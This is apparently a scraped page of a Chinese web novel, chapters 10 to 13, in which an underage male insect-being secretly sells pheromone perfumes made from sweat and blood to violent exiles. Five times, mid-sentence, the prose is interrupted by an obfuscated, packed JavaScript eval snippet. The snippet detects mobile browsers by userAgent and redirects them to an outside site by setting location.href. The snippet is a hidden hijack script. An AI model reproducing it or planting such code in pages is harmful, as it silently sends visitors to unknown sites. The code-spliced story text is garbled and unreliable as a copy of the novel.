身体承受着雄虫信息素带来的冲击,索玛的额角、脖颈青筋凸起,用力躬着肩背,手掌猛地抓住了椅子的扶手。晃动中宽椅底部和地面摩擦出刺耳的声响,乌舍也被摇晃的前倾,索玛睁着双眼,眼神迷惘,与身体的剧烈反应不同,他的精神还陷于罕见的安宁中。 乌舍拥有捕捉他人弱点的天赋,察觉到索玛心神驰荡,他张开五指,掐住雌虫的下颚,不紧不慢地问。 “你还有其他事要和我说?” 索玛的眼神晃动,没有聚焦。 乌舍手上用力,重复了一遍:“告诉我,你做过的所有事。” 索玛的目光逐渐聚焦到他脸上,充血的眼膜浮起潮湿的雾气,出声喃喃低诉他为“炒热”香薰的所作所为。 像是邀功,他偏头,用下巴抵着乌舍的掌心蹭了蹭。 “......现在,您的信息素是放逐区秘而不宣的暗语。” “暴徒们为了它,会不吝钱财出价。” 乌舍居高临下地望着他:“他们没有其他途径买到雄虫的信息素吗?” 索玛反问:“其他途径?” 乌舍举例:“一些黑色市场,贩卖雄虫的信息素,或者别的什么器官,甚至是雄虫本身。” 经过一段时间的交谈,索玛的理渐渐回笼,嗓音喑哑而笃定:“绝无可能,一切、一切都必须基于雄虫的自愿。不会有雄虫愿意出卖自己。” “您......是一个例外。” 乌舍心中升起疑惑,纵使当下的法律对于雄虫的安全保护是高压线,但在任何地方都不缺为了钱财铤而走险的亡命之徒,以回报率看,虫族社会理应有一片针对雄虫的庞大的灰色市场,但以他接收到的种种讯息,又仿佛贩卖雄虫信息素这件事闻所未闻。 必须基于雄虫自愿又是什么意思? 然而这些疑惑凭现在的乌舍是追寻不到答案的,实际上,这答案对他来说也没有意义。 不问明天,只争朝暮,在死去之前及时享乐,这就是乌舍的人生准则。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357314|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在他思索的这几秒,手指传来的湿润感唤回了他。乌舍垂眼,发现索玛在吮吸他指尖残余的鲜血,湿漉漉的舌头一遍遍扫过指腹,不像昆虫,像小狗。 乌舍把手指抽回,索玛与此同时也露出惊醒的神情,似乎刚刚的行为是他的无意识举动。 “抱歉,阁下。”索玛保持着跪姿,“我太贪婪了,我......” 乌舍打量着他,忽然说:“你的眼睛没有那么红了。” 索玛一愣,随后深深地俯下身:“托您的福,我的状态好了很多。” 乌舍问:“E级雄虫的血对你来说,也能有效果?” 索玛抬头,郑重地说:“您绝不只有E级,等您成年后,一定会迎来真正的蜕变。” 乌舍有了解过相关知识,不过并未放在心上,他耸了耸肩。 “谁知道呢......光靠一个样本是下不了结论的。” “——你疯了吗?!” 由于过度惊惧,何冬塞都忘了使用敬语。 前来“采样”的乌舍倒是很冷静:“只是汗液而已,你们愿意提供其他□□的话也没问题,这不会对身体造成损伤。” 何冬塞受他的态度感染,勉强平静一些,但还是说:“不可能,阁下,我不会同意的。我并不知道您在做的是这种生意,如果您真的这么缺钱,这段时间的伙食费我一分都不会收。我认为您也应该停手......” “何冬塞。”乌舍打断他,问:“为什么你不同意?” 何冬塞见他仿佛是真的不理解,又想到他独自长大,身边只有智能管家,便放缓语调。 “阁下,这触及法律,是重罪。” “明白了,你是怕被追究责任。” “......这是一方面,但是最不重要的一方面!贩卖雄虫的信息素,这怎么可以?” “为什么不可以?” 何冬塞变得犹疑起来:“......这会伤害雄虫。” 乌舍笑了:“会吗?” “就算是雄虫流的汗,拿纸巾一擦扔掉的话,就只是垃圾。我只是在用垃圾换钱,对雄虫来说,多流一滴汗和少流一滴汗,有什么区别呢?” 何冬塞语塞,但根深蒂固的思想观念让他仍然认为这是不对的。 乌舍指着放在桌上的两颗10克的墨石,这是他拿来支付这段时间的伙食费的。 “况且,你需要钱,不是吗?” “你弟弟一周需要消耗多少昂贵的食材,可这些食材对于发育期的雄虫来说也不是最好的那一批,你知道的,你供不起更好的了。距离慈林成年还有多久,凭他现在的身体素质,成年后等级提升的可能性又有多大?” “你想要让他一成年就直接和陌生雌虫结婚吗,对方能照顾好他吗。或者说,你其实只是想尽完作为兄长的义务,成年后把他交付出去就能松一口气了?” 何冬塞一个激灵,立刻反驳:“当然不是!” 乌舍瞥了眼终端屏幕上显示着的“正在通话中”的字样,目光悄然滑过闭合的书房门,低低笑着说。 “既然如此,为了你和慈林的未来,请你......们,好好考虑。” 11. 第 11 章 何慈林背靠着墙,直到通话挂断,仍能听到自己心脏剧烈的“嘭嘭”声。 事实上,他没怎么受过教育,这个社会似乎默认雄虫受不受教育是无关紧要的事——尤其是对于他们这种E级雄虫。况且雄虫在全性别学校上学容易受到骚扰,利都有专门为雄虫开设的学校,但学费昂贵。由于身体不好,何慈林没有出去上过学,基本是靠何冬塞教他,以及在家观看虫族的基础教育网课。 他对事物的认识有限,只是大致了解社会规则,知道哪些是对、哪些是错。 因此,面对屋内乌舍惊世骇俗的发言,在最初的震惊后,偷听的何慈林反而比兄长接受度要高。 对自己身体没什么坏处......而且能赚那么多钱,用这么快的速度...... 乌舍从书房出来的时候,门外已经没有了雄虫的身影,何冬塞失魂落魄地跟在他后面,头一次送他离开时没有露出笑容。 他迈着轻松的步伐离开,何家兄弟却因为他大吵一架。 何冬塞其实没有经过多久的考虑,他认知到的一切都在告诉他走私、贩卖雄虫的信息素是罪该万死、罪无可恕的,在乌舍走后没多久,他就拿起墨石决定归还给乌舍,并预备再次劝说雄虫“迷途知返”。 然而,他被何慈林拦下了。 何冬塞以为他不知道自己和乌舍的谈话,脑中下意识编好为什么要归还伙食费的理由,但当他对上弟弟的表情,解释的话语骤然凝固在了口中。 何慈林很少有面无表情的时候,尽管大部分时间总是他一个人待在家里,只要何冬塞一回家,他都会呈现活泼的状态。 要么是发脾气,要么是找茬,时不时讽刺一通,至少是安静不下来的。很偶尔他静下来,往往会流露出一种脆弱的气质,身体的孱弱像是具象化了,让他看起来仿佛一片透明的蜓翅。 但现在,何慈林没有任何表情,定定地望着他。眼神中涌动着一种何冬塞从未见到过,却极鲜明的,冲破枷锁般展露端倪的东西。这样的眼神让他显得锋利起来,甚至带着还尚不明朗却确实存在的,果决。 他说。 “哥哥,你想要就这样差不多的把我养大,然后亲手把我送给别的雌虫吗?” ......那眼神里,是对自由的渴望。 乌舍把剩余的墨石全部兑换成了英吉,当着A13的面存进了账户。A13并未对此发出任何疑问,说到底,他只是一个高度拟真的智能管家,只按照初始设定的程序运行,并不具备独立的思考能力,也没有真正的情感。 摸了摸A13的圆脑袋,乌舍再次确认,目前政府为独自长大的E级雄虫配备的智能机械,作用是监护而非监管。 他在等待邻居们回应的这几天,去商贸区核心圈看了看,里面最热销的是能锻炼雌虫身体素质的器械、食材、药品,以及有利于未成年雄虫身体发育的系列用品。不止是食物,乌舍还看见了一个枕头,就人类的审美来看,填充物不够柔软,表层也没有弹性,用来睡觉非常失败。 但售货员积极推销,说这个枕头的表面和填充物里都加入了某种矿物质,而此类矿物已被官方验证对雄虫的脑域开发有刺激作用,售价仅需一万英吉。 乌舍谢绝,陆陆续续看了点别的,他手里的四万英吉对于这些商品来说不过洒洒水,如果普通E级家庭想供养出更上一等级的雄虫,的确需要庞大的财力物力支持。 出了核心圈,乌舍路过已经闭门好几天的属于何冬塞的香薰店,唇角显出了极淡的笑容。 不出意外的,三天后,乌舍房子的大门被敲响。 A13先开的门,不过走进来的却不是他以为的何冬塞,而是何慈林。 这只雄虫不知道是因为不习惯出门,还是紧张于自己要做的事情,面色看起来较平时更加苍白。他的金发毛糙地散落在肩头,只穿着睡衣,即使这样,当阳光从他背后映射过来,他黯淡的金发与金色的睫毛晕出莹莹的浅芒时,仍呈现出一种惊人的美丽。 A13把大门关上,光线被阻挡,视野里的雄虫变得清晰起来。 乌舍目睹何慈林从兜里摸出三个小玻璃瓶,两个里面装着透明的液体,一个里面的液体是红的。 “哥哥还没同意。”何慈林舔了舔干涩的下唇,和他对视:“你先拿去做,拿到的钱我们五五分。” 乌舍接过瓶子,目光落在红色的那瓶上。 何慈林主动道:“是我的血,另外两瓶是汗液。” 乌舍看了他一会儿,何慈林笑了笑:“你试试看这两种原材料,哪种香薰成品卖得好。既然都做了,我希望能用最快的速度,赚更多的钱。” “了不起。”乌舍也跟着笑起来,随意抬手捋了捋他的金发:“那我们,合作愉快。” 由于何冬塞尚未加入,乌舍只能自己制作香薰,好在熟能生巧,经过比上回萃取要少的浪费后,他成功用何慈林提供的汗液做出了一枚新的信息素香薰。 和先前一样的水滴形容器,颜色依旧是莹蓝色,不过溶液只有8ML。毕竟就算技术成熟了点,但何慈林提供的汗液总量有限,不像乌舍自己,想用多少用多少,成品能有8ML已经是他万分谨慎的结果。 做完香薰,乌舍联系了索玛,他们已经互通了终端号。放逐区内想要香薰的雌虫数不胜数,对于这种稀有物品来说,其实以拍卖的方式才能实现利益最大化。然而乌舍的帮手只有索玛一个,维持不住拍卖的秩序,除了暴利,他们更需要的是稳妥。 因此当索玛再次翻窗进了乌舍的房子后,乌舍把香薰抛给他,只要他随意出手给求购的雌虫中出价最高的那个。 索玛拿到香薰的第一时间就发觉了不对,尽管外观和过去那枚别无二致,但气味的差别非常明显。 属于乌舍的信息素更“浓烈”“辛辣”,不是说他本身的信息素具有辣味,而是层次更复杂,给出的嗅觉体验更强烈。那股气息并不真的过于浓郁,只若有若无地飘散,存在感却很强,如影随行地牵动着你的神经。 而此刻手里这枚香薰的气味更柔和,轻缓地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357315|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围绕着你,再逐渐收紧,将你裹在里面。类似浸泡在阳光里久晒后织物的气息,长时间地闻嗅后会感觉骨骼舒展,四肢放松发软。 索玛握着香薰良久,终于抬头:“您......” 乌舍简明扼要地回答:“不是我的。” 具体是谁的,又是怎么获得的,他没说,索玛竟然也没有丝毫要问的意思。 高大的雌虫仅仅是保持了沉默,似乎是在简单的思索后,在心里有了自己的答案,很配合地点点头。 乌舍制作香薰只用了何慈林的汗液,血液还留着。对于暴徒化的雌虫来说,普通E级雄虫无论是血液里还是汗水里所含的信息素都是杯水车薪,所以浓度的差别无关紧要。 但他没和何慈林直说这一点,他还需要做个试验。 乌舍招招手,索玛顺从地靠近,但当他目睹雄虫从兜里拿出装着猩红血液的玻璃瓶后,俯身的动作就僵住了。 “给你了。”乌舍没发现他的变化,“算是你这次的报酬。” 作为雌虫,还是暴徒化的雌虫,能接受两个雄虫的血液可以说是命运的垂青,可索玛面对眼前的小瓶子,心中居然奇迹般地生出了隐隐的抵触心理。 在拿到香薰、闻到陌生的信息素的气味那刻,他生理上在为这股气息感到舒适,但更多的注意力集中于另一点。 当他认识到这次乌舍给出去的,会再次引发一众雌虫哄抢,被暴徒们贪婪闻嗅的信息素不是乌舍自己的时,他感受到了一阵放松。 ——索玛发觉自己似乎对乌舍产生了一部分不应当的独占欲。 他迟迟没接瓶子,乌舍终于开始疑惑,偏头发出一声:“嗯?” 索玛停顿片刻,还是接过了瓶子,何慈林有着与脆弱外表相反的狠心,他给的血液铺满了瓶底,比乌舍那一滴两滴的分量要多许多。 拔出瓶塞,更浓郁一些的信息素气味飘散,索玛有几秒钟的晃神,不过立刻恢复了冷静。在乌舍的示意下,他仰头将瓶中的血液一饮而尽。 乌舍仔细地观察着他的反应,奇妙的是,在这个陷于脑混乱困境中的雌虫脸上出现了截然不同的两种情绪。 一方面是身体感到舒适后的松弛神情,另一方面索玛眉头不自觉皱着,鼻翼微微抽紧,面容显露出清晰的挣扎,乃至于痛苦。不过这种冲突持续得并不久,只短短一会儿,索玛便平静下来,睁开了合上的双眼。 他眸色清亮,眼神却略带疲惫地说:“谢谢您,阁下。” 乌舍直白地问:“效果怎么样?” 索玛认真地回答:“对我来说,这个等级的血液没什么用,只是在饮用的过程中受信息素影响,有轻微的舒适感。” “血液的主人和我一样,也是E级。”乌舍反驳了他,思索着说:“但你刚刚看起来不像是觉得舒服,反而像是痛苦。” 索玛为此感到羞惭,他低下头,真挚地望着乌舍,天蓝色的眼睛像夜幕下静谧的大海。 “我痛苦的根源是我的身体觉得背叛了您,阁下。” 12. 第 12 章 利都-主城区城郊,放逐区。 在这个灰暗、原始、充满暴力的街区,日复一日单调无聊的生活中,出现了一些微小的变化。 这变化就像海底隐秘的漩涡,从海面往下看还是风平浪静,一旦接近就会被席卷其中,产生涉及面越来越广的暗涌。 何慈林的信息素香薰被索玛给了一个暴徒化中后期的雌虫,这个雌虫属于蛛形纲蜘蛛目下的狒蛛,虫化后体积十分庞大。他已经快要堕入暴徒化晚期,状态岌岌可危,保留着仅剩的理智。给索玛开出了高昂的价格,以及三次死亡通牒。 当然,给索玛下死亡通牒的不止是他一个,同时,这帮试图用暴力手段获取香薰的雌虫也受到了其他雌虫的威胁,因为索玛是他们获取香薰的唯一供货商。 索玛出手后,那个雌虫立刻拿着香薰消失了,兽性本能驱使他躲藏起来,守护珍宝不被同类掠夺。 然而,在这片只进不出的放逐之地,他只独享了雄虫的信息素不到一周,就被别的雌虫找出来杀死,尸体扔在了索玛家门口。 香薰消失,隐隐传出它在某个雌虫手里的消息,没几天又听闻易主。它的下落成谜,有关于它气味的形容却疯传开来,成为无数暴徒午夜臆想的素材和助兴剂。 他们给它代号:太阳花。 索玛的处境也变得艰难,他把香薰给对他下死亡通牒的雌虫的行为引发了“保护派”的不满,那些替他清除了部分威胁的雌虫认为他不识好歹。事实上,放逐区综合实力排前十的雌虫占“保护派”多数,因为实力靠前的雌虫往往还处于暴徒化前中期,不会全凭本能行事,换句话说,他们更有脑子。 抛尸的行为就是一种警告。 索玛在刚收到有新香薰的消息时,是准备挑选“保护派”其中之一出手的。他并不畏惧来自其他雌虫的死亡威胁,他本体大刀螳螂,锋利的前肢在赫拉德的战场上饮足了鲜血,论实力,在一对一的情况下,放逐区没有雌虫能胜过他。 之所以没把香薰给他们,是因为乌舍给出了新的指令。 那天,他在乌舍面前暴露了自己萌生的独占欲,这股独占欲并不极端,尚属于正常的情绪范围内。但索玛自认没有生出独占欲的立场,坦诚也是一种忠诚。 乌舍听后若有所思,他直视索玛的双眼,片刻后。 问:“你想要我?” 索玛愣住,近乎瞠目结舌地望着他。 乌舍换了个问法:“你想成为我的伴侣?” 索玛这回毫不犹豫地回答:“不,阁下。” 对于索玛而言,乌舍还没有成年,就像一颗冉冉升起的恒星,或者成长中的活火山。在他爆发那刻,将会是十足耀眼的存在。而他自己已经进入衰退期,等待着军队内一份不知何时能等到的就医批准。 乌舍的出现是他命运的奇迹,他获得了雄虫的帮助,感受到自己的身体略有好转,推他入深渊的剧痛减轻。乌舍是他生命中的阳光,他会像守望家园一般守望对方,绝不存在染指的企图。 乌舍说:“你能对着自己的心起誓吗?” 索玛单膝下跪,郑重道:“阁下,我并未有占据您伴侣位置的野心,但无论我现在、将来身处何方,我将永远守护您。” 乌舍居高临下地端详着他,忽然一笑。 “我相信你。” “那么......”他喃喃自语,“信息素成瘾的可能性?” 索玛分别找到了“保护派”中综合实力最强的三个雌虫,其中之一就是最初他出手香薰的目标,那个自营烟酒店的老板,黄蜂属,名叫泰诺斯。另外两个分别是膜翅目蚁科行军蚁属的陈林,和蚰蜒目蚰蜒科蚰蜒属的巴拉太,他们三个都处于暴徒化前期。 杀雌虫抛尸的那个就是巴拉太,香薰现在就在他手里,后来的香薰易主是他传出去的假消息,为了让消息更逼真,他还把香薰是什么气味也散播出去了。 索玛上门的时候他们三个都很意外,尤其是巴拉太,他已经打算抱着香薰低调度过彻底陷于脑混乱前的日子,见到索玛时下意识以为他是对自己抛尸警告的寻仇。顾忌着香薰在手,他的态度并不强硬,和索玛过了两招就服了软。 除他之外,索玛和泰诺斯、陈林也动了手,这回不像是先前和泰诺斯交手时的半真半演,索玛发挥了全部的实力。泰诺斯在惊惧中发觉出不对之处,仿佛在他面前正铺开一个未知的阳谋,但索玛将他踩在脚下后抛出了他无法拒绝的好处。 “我会给你一枚冷火。”索玛说:“不需要费用,只要你们继续保持反对截杀我的立场。” 莹蓝色的香薰从他袖口坠下,泰诺斯甚至来不及爬起来,就双手并用接住了掉落的香薰。在将它贴住鼻端的那刻,冰冷的气息顷刻焚烧了他的大脑,随之弥漫出惨烬的余味。 头脑的疼痛在不可睥睨的信息素下蜷缩,泰诺斯在清明中不得不踏入这场阳谋。 他无法拒绝,陈林、巴拉太都无法拒绝。 关于香薰溶液里究竟有什么,凭借着生理本能,放逐区知晓它存在的雌虫心中都有猜测。尽管如此,却没有谁将之宣诸于口,仿佛不说破它就只是一枚普通的香薰,不涉及走私、犯罪,乃至侵犯、绑架、掠夺。 三个雌虫得到香薰后一边闭门不出享受着,一边又提着半颗心,担忧索玛会让他们去做什么。如果后果太可怕,他们当然可以选择不做,但接受了香薰的他们本身就是共谋,倘若有一天他们被押上法庭,手持香薰的他们绝不会被判无罪。 意外的是,有很长一段时间,他们没有收到来自索玛的任何消息。 而这期间放逐区对香薰的追寻愈演愈烈,所有雌虫都在寻找冷火和太阳花的下落,他们不知道还有藏着的三枚冷火。 索玛再次出现在泰诺斯他们面前是一个月后,在他出现的两天前,放逐区出现了一件不可思议的事。 众雌虫苦苦追寻的太阳花出现了,巴拉太公开了它的存在,并以50万英吉的价格将其出售给了另一只雌虫。 很多雌虫深感不可思议,认为他简直是傻子,香薰的价值绝不能用金钱来衡量。但还有些比较有脑子的雌虫意识到,他之所以干出这种事,或许是因为手上还拥有另外一枚香薰。 不过,即使这么怀疑的雌虫,也不理解。在他们看来,如果自己能拥有两枚香薰,当然会捂得紧紧的,这种东西难道还嫌多?或者是穷疯了?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357316|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 索玛在他出售香薰的次日就翻进地下室见到了他,巴拉太并不意外他能找到自己,尽管他的藏身之处十分隐蔽。 如果是其他雌虫,巴拉太已经动手了,但面对知道真相且实力远在自己之上的索玛,他选择了说实话。 “不是我不贪婪。” 巴拉太现在想起另一枚香薰还会心痛:“但我已经闻不了另一个香薰的味道了。” “太阳花很好,我喜欢那个气味,可我更为冷火着迷。我的身体也是,每当我试图去闻太阳花,心里甚至会觉得恶心和排斥。就算真的去闻了,也不会有多少舒服的感觉。” 他和索玛了然的眼神对视,平静地说:“我已经被冷火征服了。” 就在这次谈话后,索玛同时约见了泰诺斯、陈林,以及巴拉太。 三个雌虫如临大敌,预想中得到香薰的代价就要摆在眼前,没想到索玛盯着他们忽然一笑,兜帽下的眼神含着轻蔑、嘲讽以及隐晦的排斥。 但雌虫们已经无暇在意他的眼神,因为索玛说。 “——你们想不想见一下冷火气味的主人。” 列车,城郊(放逐区)-贸易区。 以索玛为首,泰诺斯、陈林、巴拉太分散着坐在他身后的座位上。作为暴徒化前期的雌虫,通过安检后他们顺利上了列车,基于索玛的硬性要求,他们都佩戴上了口枷。不过这在车厢内并不突兀,无论在哪个居住星,暴徒化的雌虫都占比不小。即使是非暴徒化的雌虫,也经常在面见雄虫的时候佩戴口枷。 巴拉太是个身高两米五的巨汉,身上爆炸性的肌肉甚至将宽大的冲锋衣撑得鼓起,相比另外两个雌虫,他显得尤为焦躁,不时在座位上调整身形。 直到索玛转过头看了他一眼,他才安分下来。 十分钟后,列车在贸易区前的站点停下,一波乘客走了上来。 这波乘客数量不少,绝大部分是雌虫和亚雌,只有伶仃两个雄虫。基于各种因素,雄虫很少乘坐公共交通工具,因而每次出现总会吸引大量目光。 此刻,在这节车厢内,更多的目光集中在其中之一的雄虫身上。 相比较另外一个年近中年的雄虫,拥有黑发黑眸的雄虫具有更强烈而无法言说的吸引力。他显然还未成年,脸部轮廓和身体骨骼尚还稚嫩,皮肤很白,眉毛和睫毛却呈现一种幽深的黑。如此统一且单调的毛发颜色在虫族罕见,和雄虫本身的肤色显出冲撞性的差别。 他发育中的骨骼走向趋于坚硬,眼窝和颧骨隐隐现出锋利的棱角,嘴唇单薄。这种组合让他的脸看起来有些傲慢的意味,和大部分雄虫身上有的,基于后天环境形成的傲慢气质不同,他这张脸天然适合傲慢、张扬之类的词汇。气场反而与面容相反,低调沉郁,淡淡的倦怠感流露在眼角眉梢,仿佛无声传达着对这个世界的厌倦。 锐利、漂亮、冷漠、平淡......他像个矛盾综合体,轻易就铺抓旁观者的眼球。 与此同时,隔着安全距离,雄虫身上浅淡的气味在空气中漫开,触动在座每一个虫族身体内的识别因子。远在他们闻出这是什么气味之前,大脑已经下了判断,告诫他们这是一位需要保护和尊敬的“阁下”。 13. 第 13 章 处于目光焦点的雄虫,正是刚刚上车的乌舍。 比起刚刚穿越过来那会儿,他的模样已经产生很大变化,越来越像在地球上的时候。即使是对比初次和索玛相见,他脸上因原身圆钝的五官带来的单纯感也已经消减大半,在一天天细微的改变中呈现不可忽视的差别。 当然,这改变细水流长,在索玛眼里,自己守护的这位小阁下也只是“成长得太快了”。 车厢内的虫群第一时间判断出雄虫的身份,但随着乌舍走入车厢,过道两旁的虫族们的嗅觉系统才发挥全部作用,近距离下属于雄虫的信息素没进鼻腔,足量的信息素分子和受体细胞相结合,雌虫、亚雌们终于感受出乌舍的信息素是什么味道。 他们克制不住耸动鼻尖,忍耐着不做出失态的举动,乌舍毫不留情地从他们身边走过,走向下一节车厢。 索玛坐在这节车厢的中段,泰诺斯、陈林、巴拉太分散在车厢的末端,都坐在靠外侧的位置。 三个雌虫都在盯着乌舍,但态度和周围的雌虫差不多,表现得并不激烈。直到乌舍分别路过他们,残烬的气息在身旁一掠而过,在鼻腔留下一抹滚烫的冰凉,他们才骤然转头。 泰诺斯和陈林双眼睁大,巴拉太甚至站了起来,而乌舍也像是被他惊到似的,停止了走向下一节车厢的步伐。 他在车厢尾部停留两秒,这两秒足够三个雌虫确定他信息素的味道。随后,他转身,索玛拿回放在前方空位上的包,对他做了个邀请的手势,他便在空位上坐了下来。 一时车厢内众多雌虫、亚雌的目光都落到巴拉太和索玛身上,看向巴拉太的目光带着谴责,无声地责怪他吓到了雄虫。但这谴责里又含着暗喜,毕竟雄虫看起来慌不择路,以至于留在了这节车厢。 对于索玛的情绪则单纯得多,纯粹是暗恨自己反应不够快,让他占了先机。 巴拉太理智回笼,慢慢坐下。他和泰诺斯、陈林对了个视线,明确了一个念头,而这念头和车厢内其他一无所知的虫族都不同。 ——这位阁下是自愿的。 这个雄虫、冷火的主人居然是自愿的!一直以来,他们都在暗自揣测,索玛或者他背后有一个什么样的组织,在胁迫雄虫出卖自己的信息素。这是绝对的重罪,即使抛开法律,在他们的认知里这也是件极其恐怖、反道德的事情,乌舍的表现颠覆了他们的想法。刚刚他的一系列行动,以及选择在索玛身前坐下,无一不说明这是场计划好的表演。 他是故意的。 雄虫很自由,并未受伤或被威胁,索玛这次带他们来大约就是为了让他们看清这一点。那么接着呢,索玛,或者说他背后的这位阁下想要他们做什么? 失魂落魄地想着这些,他们沉默地注视着乌舍在两站后下车,列车到达终点站继而返程,四名暴徒化的雌虫在车厢里留到了最后。 进入放逐区,索玛带头下车,穿过耸立的高压电网,灰暗颓败的建筑群已在眼前。他转头看向泰诺斯、陈林和巴拉太,缓慢开口。 “你们已经见到了冷火的主人,现在,我需要你们帮我做一件事。” “事成之后,你们会得到比冷火更好的。” 见过了索玛挑选的雌虫,乌舍还算满意。他在商贸区买了一些雄虫会喜欢的小玩意儿,换乘列车回到了LE区,按响了邻居家的门铃。 开门的照例是何冬塞,见到乌舍,他脸上显出无法遮掩的挣扎表情。但没等他说什么,何慈林已经闻声从客厅里出来,越过他把乌舍拉进了屋里。 何冬塞本来已经坚定信念,就算劝服不了乌舍,至少可以阻拦弟弟参与这桩生意。然而,直到何慈林把从乌舍那里得到的分成摆在他面前,他才知道对方已经私下里找到了乌舍,完成了自己信息素的第一次售卖。 当天这对兄弟爆发了有史以来最激烈的争吵,何冬塞甚至把何慈林关在了房间里,锁上了窗户和门,何慈林以绝食回击。比起乌舍,何冬塞并未更了解自己这个弟弟,即使朝夕相处,他仍然拥有社会对于雄虫这一性别的全部刻板印象:体弱、娇蛮、需要保护。 此前何慈林的表现也符合这些特质,现在本性中的棱角却终于突破表象显露端倪。 在他绝食两天后,何冬塞认输打开房门,何慈林面色苍白如纸地坐在床上。 兄弟对视,何慈林露出了一个笑容,尖锐地问:“哥哥,你说是为了我好。但看看你做的,不顾我的意愿,把我关在家里,等到成年就转手给一个富有的雌虫——你和绑架犯有什么区别呢?” 何冬塞被这句话击中,痛苦到落下泪来,他理智上认为何慈林说的是错误的,事实上却无法反驳。最终只能沦为同谋,唯一守住的底线是和何慈林约定,等到他成年通过最终的精神力鉴定后,就收手不再做这件事。 乌舍在沙发上坐下,他慵懒地敞着双腿,单边胳膊搭在沙发靠背上。最开始与他不甚亲近的何慈林挨着他坐,脑袋枕在他的胳膊上,手中把玩着乌舍给他买的小玩意。 那是个漂亮的多棱形岩石球,这种岩石材质特殊,外层是透明的,里面斑驳的矿物混合火山积液。这种岩石在一个火山多发的星球上被发现,现在也有虫族定居在那里,据说成分有利于雄虫脑域开发,因此有条件的雄虫都会买上一个,时不时拿在手里盘一盘。 何冬塞曾经也想过给何慈林买一个——或者说不止一次地想过,但一个岩球就要10万英吉,考虑到弟弟生长发育所需的长期食物供应,他还是选择了拿更多的钱去购买食材。 出售太阳花获得的钱乌舍和何慈林五五分账,他拿到的那部分一半都用来买这个小球了。乌舍看似随意地坐着,视线不着痕迹地落在何冬塞身上,目睹这个雌虫被刺痛了一般露出崩溃的表情,又强行压抑住,最终隐忍着在自己面前坐下。 他和乌舍对视,嗓音微哑道:“我接受您合作的提议,阁下。您需要我做什么?” 何慈林坐直了,望着自己的兄长。乌舍微微一笑:“我需要你的技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357317|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术,以及香薰生产链。” 光是乌舍一个门外汉研制信息素香薰,往往要耗费大量时间,产生很多不必要的耗材,有了何冬塞和他掌握的加工链条,一切都会变得容易。 “这是个明智的选择。”乌舍对何冬塞伸出手:“合作愉快。” 何冬塞深深看了旁边的何慈林一眼,目光落回到乌舍身上,握住了他的手。 “泰诺斯放话他那里有好东西,说过时不候,什么意思?” “估计又从外面弄到了稀罕的烟或者酒呗,不然呢?” “我还以为他弄到了......” “冷火?太阳花?你小子做什么梦呢!” “说是好东西,还有比这更好的吗?” “是没有,但谁不知道这玩意儿只有索玛供货,就算泰诺斯从哪个雌虫手里抢到了,他会拿出来卖吗?你也不想想!” 两个雌虫说着话走进烟酒店,路上还有其他雌虫陆陆续续往这来。泰诺斯两天前放出消息,说要卖“好货”,除了一门心思追查香薰下落的,不少光顾过他生意的雌虫都来了,就算不是真的想买什么,也可以凑个热闹。 现在放逐区最热门又讳莫如深的话题莫过于冷火和太阳花,来的大半雌虫都打算坐下来两瓶,边看热闹边拿这个话题下酒。 然而,踏进店门,却发现店内原本摆着的桌椅都被清空了。两间打通后加起来有500平米的店铺只保留了L型吧台和吧台后靠墙放着的烟酒柜,吧台和墙面的距离大约有两米,此刻里面只站着泰诺斯,而吧台外三三两两聚着红眼睛的暴徒。 有暴徒化程度更重,也更不耐烦的雌虫扬声喊道:“泰诺斯,你卖个狗屁关子,到底要给我们看什么?!” 泰诺斯没说话,最前方的暴徒中陈林和巴拉太出列,以护卫的姿态站在了吧台前。其他雌虫莫名其妙地看着他们,有些心里已经生出一丝微妙的预感,这时店门传来上锁的声响,厚重的金属升降门在内侧落下,杜绝了再有雌虫入内的可能。 接着,吧台内的一块大理石岩板被掀开,露出下方通向地下室的通道,索玛一身黑袍,踩着楼梯上来,出现在他们的视野中。 预感成真,周围陷入一片死寂。 